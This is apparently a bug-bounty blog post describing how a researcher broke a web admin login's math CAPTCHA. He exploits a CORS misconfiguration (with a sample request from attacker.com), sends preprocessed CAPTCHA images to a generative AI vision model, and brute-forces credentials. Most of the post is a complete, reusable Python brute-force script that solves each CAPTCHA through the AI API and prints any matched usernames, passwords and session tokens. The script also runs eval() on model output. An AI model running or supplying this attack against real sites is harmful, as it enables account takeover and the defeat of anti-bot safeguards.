BOOK THIS SPACE FOR AD
ARTICLE ADLeveraging AI for CAPTCHA bypass opens the door to potential vulnerabilities, revealing critical flaws in web security.
Hi Guys,
so im ph-hitachi, and im Full-Stack Developer, DevOps Enginner & Security Researcher with experienced to Automation Enginnering & Bug bounty Automation, this year i commited to findings new way of attack vector focusing on how we can utilize a modern tools & technologies and how hackers can possibly take this advantage & leverage these technologies for exploitation.
With the rise of automation, AI-driven technologies have advanced significantly, and so have their applications in cybersecurity. Recently, I encountered a situation where AI was used not to secure systems but to exploit them. This post will walk through how an AI model, specifically Generative AI, was used to bypass CAPTCHA and take over accounts in a web application.
What is CAPTCHA?
CAPTCHA, short for Completely Automated Public Turing test to tell Computers and Humans Apart, is a widely-used security mechanism designed to protect online services from automated abuse such as brute-force attacks, credential stuffing, and bot-driven activities. Typically, CAPTCHA challenges present a task that is difficult for bots but easy for humans — such as identifying objects in images, recognizing distorted text, or solving basic math problems.
CAPTCHA’s primary function is to block automated scripts or bots from performing harmful actions, such as repeatedly trying combinations of usernames and passwords until they find a valid match. However, CAPTCHA-based defenses are only effective if they cannot be bypassed or solved by automated means.
We used a combination of manual and automated tools to test the platform. The test involved:
Extracting CAPTCHA images from the server.Solving CAPTCHA images using an AI-based model.Testing the resilience of the login page to brute-force attacks using a cluster bomb approach.Step 1: Identifying CORS Misconfiguration on CAPTCHA Endpoint
The first step in discovering the vulnerability was testing the security of the {BASE_URL}/admin-web/captcha/show endpoint. During the test, I found that the endpoint had a CORS misconfiguration, allowing unauthorized origins to access sensitive resources, such as CAPTCHA images.
By sending a simple HTTP request from an untrusted domain, I was able to retrieve the CAPTCHA image without any server-side validation of origin.
POST /admin-web/captcha/show HTTP/2Host: [redacted].com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:130.0) Gecko/20100101 Firefox/130.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: [redacted].com
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
Origin: http://attacker.com
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
sysId=1000
HTTP/2 200 OKContent-Type: application/json
Date: Tue, 01 Oct 2024 01:28:11 GMT
X-Trace-Id: i100,i101001a441232779d64e6f88ea3b2040cfb43a
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: http://attacker.com
Access-Control-Expose-Headers: Set-Cookie
Access-Control-Allow-Credentials: true
X-Cache: Miss from cloudfront
{"img":"/9j/4AAQSkZJRgABAgAAAQABAAD(truncated)...","key":"code_xxxxxxxxxxx"}
This exposed CAPTCHA image became the entry point for the attack, as it could be automatically retrieved and processed.
Step 2: Testing Authentication Flow
Once I identified the exposed CAPTCHA, the next step was to analyze the authentication flow. I targeted the {BASE_URL}/admin-web/auth/authInfo endpoint, which is responsible for verifying user credentials. Each login request required a username, password, and the new CAPTCHA solution.
Once the request is made, the server would return a response indicating whether the login was successful.
loginName: The username being tested in the brute-force attack.loginPassword: The password being tested.captchaCode: The CAPTCHA solution (CAPTCHA TEXT = 6+3=captchaCode).captchaKey: The key retrieved from the initial CAPTCHA request.Step 3: CAPTCHA Solving Using AI Model
Initially, when attempting to solve the CAPTCHA using the AI model, I noticed that the default CAPTCHA image returned incorrect results due to poor image quality. The CAPTCHA presented simple mathematical equations like 6 + 4, but the AI misinterpreted the output as a string of numbers such as "6743" rather than solving the equation.
To resolve this, I applied image preprocessing techniques to enhance the clarity of the CAPTCHA. This improved the AI’s ability to read the CAPTCHA with 100% accuracy. The key was to convert the image to black-and-white and sharpen it using the following command:
By applying a Gaussian blur, thresholding, and painting operations, the image’s edges were sharpened, and noise was reduced, making the CAPTCHA much more readable for the AI model.
After preprocessing the image, the AI model consistently produced accurate results, solving mathematical equations like 6 + 4 correctly. This step was crucial in automating the CAPTCHA-solving process with high accuracy.
Step 4: Use Python Script to Solve the CAPTCHA
After retrieving the CAPTCHA image from the vulnerable endpoint and solving it using the AI model, the next step was to script the process for automation.
Step 5: Brute Force Attack Implementation:
Using a wordlist, perform a brute-force attack against the login endpoint with the extracted CAPTCHA code and key.
Script Implementation Overview
Step 1: Send First HTTP Request to Get the Captcha:
Send a POST request to /admin-web/captcha/show to retrieve the captcha image (as a base64-encoded string) and its corresponding key.Step 2: Decode the Image and Apply Processing:
Use the base64 image data from the response, process it using the Pillow image manipulation as described, and use the AI model to extract the text from the captcha image.Step 3: Solve the Captcha:
Parse the text output from the AI model. If the text represents a math problem like 6 + 4 = ?, solve the equation to get the captcha answer.Step 4: Use a Cluster Bomb Attack with Wordlist:
sending a POST request to /admin-web/auth/authInfo with the different combinations of usernames and passwords including captchaCode (the solution to the captcha) and captchaKey (from step 1).import requests
import base64
from PIL import Image, ImageFilter
from io import BytesIO
import os
import re
import argparse
import time # Import time for delay
from colorama import init, Fore, Style
from tqdm import tqdm # Import tqdm for the real-time progress bar
from google.api_core.exceptions import ResourceExhausted # Import the exception
# Initialize colorama
init(autoreset=True)
# Configure API key for Google Generative AI
import google.generativeai as genai
genai.configure(api_key=os.environ['GEMINI_API_KEY'])
# Define constants
BASE_URL = "https://[REDACTED].com"
CAPTCHA_URL = f"{BASE_URL}/admin-web/captcha/show"
AUTH_URL = f"{BASE_URL}/admin-web/auth/authInfo"
SYS_ID = "1000" # System ID
RETRY_LIMIT = 5 # Set a retry limit for handling quota exhaustion
# Step 1: Send First HTTP Request to Get the Captcha
def get_captcha():
payload = {'sysId': SYS_ID}
response = requests.post(CAPTCHA_URL, headers={
'Content-Type': 'application/x-www-form-urlencoded'
}, data=payload)
if response.status_code == 200:
return response.json()
else:
raise Exception("Failed to retrieve CAPTCHA")
# Step 2: Decode the Image and Apply Gaussian blur, thresholding, and painting
def process_captcha(captcha_data):
# Decode the base64 image
image_data = base64.b64decode(captcha_data["img"])
image_pil = Image.open(BytesIO(image_data))
# Image Processing
image_blurred = image_pil.filter(ImageFilter.GaussianBlur(0)) # No blur
image_gray = image_blurred.convert("L")
threshold_value = 64
image_threshold = image_gray.point(lambda p: p > threshold_value and 255)
# Optional: Enhance and smooth the image
image_painted = image_threshold.filter(ImageFilter.EDGE_ENHANCE).filter(ImageFilter.SMOOTH)
return image_painted
# Step 3: Solve the Captcha
def solve_captcha(image, retry_count=0):
# Generate the content using the AI model
prompt = "Extract the text from this image."
model = genai.GenerativeModel(model_name="gemini-1.5-flash")
try:
response = model.generate_content([prompt, image])
# Check if the response has candidates and extract the text
if response.candidates and response.candidates[0].content.parts:
generated_text = response.candidates[0].content.parts[0].text.strip() # Extract the text
return generated_text
else:
print(f"\n{Fore.RED}Error: CAPTCHA solving was not successful for reason: {response.candidates.finish_reason}")
return None
except ResourceExhausted as e:
# Handle resource exhaustion by retrying with a delay
if retry_count < RETRY_LIMIT:
print(f"\n{Fore.RED}Quota exceeded. Retrying in 30 seconds... (Attempt {retry_count + 1}/{RETRY_LIMIT})")
time.sleep(30) # Wait for 60 seconds before retrying
return solve_captcha(image, retry_count + 1)
else:
print(f"\n{Fore.RED}Quota exhausted and retry limit reached. Exiting.")
exit(1)
except AttributeError as e:
# Handle attribute error in case of incorrect response fields
print(f"\n{Fore.RED}AttributeError: Possibly incorrect field in the response. Check for proper API handling.")
print(f"\nError details: {e}")
return None
# Evaluate a math expression
def evaluate_math_expression(expression):
try:
result = eval(expression)
return str(result)
except Exception as e:
print(f"\nError evaluating expression: {e}")
return None
# Step 4: Use a Cluster Bomb Attack with Wordlist
def brute_force_login(username, password, attempt_count, total_attempts, progress_bar):
# Get a new CAPTCHA for every login attempt
captcha_data = get_captcha()
captcha_image = process_captcha(captcha_data)
captcha_text = solve_captcha(captcha_image)
# Check if the CAPTCHA was successfully solved
if captcha_text is None:
print(f"\n{Fore.RED}Failed to solve CAPTCHA. Skipping this attempt.")
return # Skip this login attempt
# Find the math expression in the text
math_expression = re.search(r'(\d+\s*[\+\-\*\/]\s*\d+)', captcha_text)
if math_expression:
captcha_code = evaluate_math_expression(math_expression.group(0))
captcha_key = captcha_data["key"]
# Construct the payload for login attempt
payload = {
'loginName': username,
'loginPassword': password,
'sysId': SYS_ID,
'captchaCode': captcha_code,
'captchaKey': captcha_key,
'loginVersion': 'v5',
'noTgAuth': 'v1'
}
# Make the login attempt request
response = requests.post(AUTH_URL, headers={
'Content-Type': 'application/x-www-form-urlencoded'
}, data=payload)
response_json = response.json()
# Only print success messages (when the response content is greater than 2000 bytes)
if len(response.content) > 2000: # Check if response size is greater than 2000 bytes
tqdm.write(Fore.BLUE + f"[{Fore.CYAN}+{Fore.BLUE}] " + Fore.GREEN + f"TraceID: {Fore.YELLOW}{response_json.get('traceId', 'N/A')}")
tqdm.write(Fore.BLUE + f"[{Fore.CYAN}+{Fore.BLUE}] " + Fore.GREEN + "Credentials match:")
tqdm.write(Fore.BLUE + f"[{Fore.CYAN}+{Fore.BLUE}] " + Fore.YELLOW + f"Username: {Fore.GREEN}{username}")
tqdm.write(Fore.BLUE + f"[{Fore.CYAN}+{Fore.BLUE}] " + Fore.YELLOW + f"Password: {Fore.GREEN}{password}")
tqdm.write(Fore.BLUE + f"[{Fore.CYAN}+{Fore.BLUE}] " + Fore.YELLOW + f"Captcha Content: {Fore.GREEN}{math_expression.group(0)}")
tqdm.write(Fore.BLUE + f"[{Fore.CYAN}+{Fore.BLUE}] " + Fore.YELLOW + f"Captcha Code: {Fore.GREEN}{captcha_code}")
tqdm.write(Fore.BLUE + f"[{Fore.CYAN}+{Fore.BLUE}] " + Fore.YELLOW + f"Captcha Key: {Fore.GREEN}{captcha_key}")
tqdm.write(Fore.BLUE + f"[{Fore.CYAN}+{Fore.BLUE}] " + Fore.GREEN + "User Information:")
tqdm.write(Fore.BLUE + f"[{Fore.CYAN}+{Fore.BLUE}] " + Fore.YELLOW + f"Merchant ID: {Fore.GREEN}{response_json['data'].get('merId', 'N/A')}")
tqdm.write(Fore.BLUE + f"[{Fore.CYAN}+{Fore.BLUE}] " + Fore.YELLOW + f"User Name: {Fore.GREEN}{response_json['data'].get('loginName', 'N/A')}")
tqdm.write(Fore.BLUE + f"[{Fore.CYAN}+{Fore.BLUE}] " + Fore.YELLOW + f"User ID: {Fore.GREEN}{response_json['data'].get('userId', 'N/A')}")
tqdm.write(Fore.BLUE + f"[{Fore.CYAN}+{Fore.BLUE}] " + Fore.YELLOW + f"Role ID: {Fore.GREEN}{response_json['data'].get('roleId', 'N/A')}")
tqdm.write(Fore.BLUE + f"[{Fore.CYAN}+{Fore.BLUE}] " + Fore.YELLOW + f"X-Token: {Fore.GREEN}{response_json['data'].get('token', 'N/A')}")
return response_json
# Update progress bar for failed attempts (without printing the failure message)
progress_bar.update(1)
# Introduce delay between each brute force attempt to avoid overloading the API
# time.sleep(REQUEST_DELAY)
# Load usernames or passwords from a file
def load_wordlist(file_path):
with open(file_path, 'r') as file:
return [line.strip() for line in file.readlines()]
# Main execution
if __name__ == "__main__":
parser = argparse.ArgumentParser(description='Brute force login script with CAPTCHA solving.')
parser.add_argument('--username', required=True, help='Path to the file containing usernames (one per line) or a single username string.')
parser.add_argument('--password', required=True, help='Path to the file containing passwords (one per line) or a single password string.')
args = parser.parse_args()
# Load username and password wordlists or single strings
username_list = load_wordlist(args.username) if os.path.isfile(args.username) else [args.username]
password_list = load_wordlist(args.password) if os.path.isfile(args.password) else [args.password]
total_attempts = len(username_list) * len(password_list)
attempt_count = 0
# Initialize progress bar
with tqdm(total=total_attempts, desc="Brute Force Attack", ncols=100, ascii=True, colour="yellow") as progress_bar:
# Perform brute-force login attempts
for username in username_list:
for password in password_list:
brute_force_login(username, password, attempt_count, total_attempts, progress_bar)
attempt_count += 1
Thanks for reading! i hope you learn something new on this article.
Contact:
Email: ph-hitachi@gmail.com
PS: The CORS Misconfiguration are only effective on browser (client-side), the CORS are not enough to prevent this attack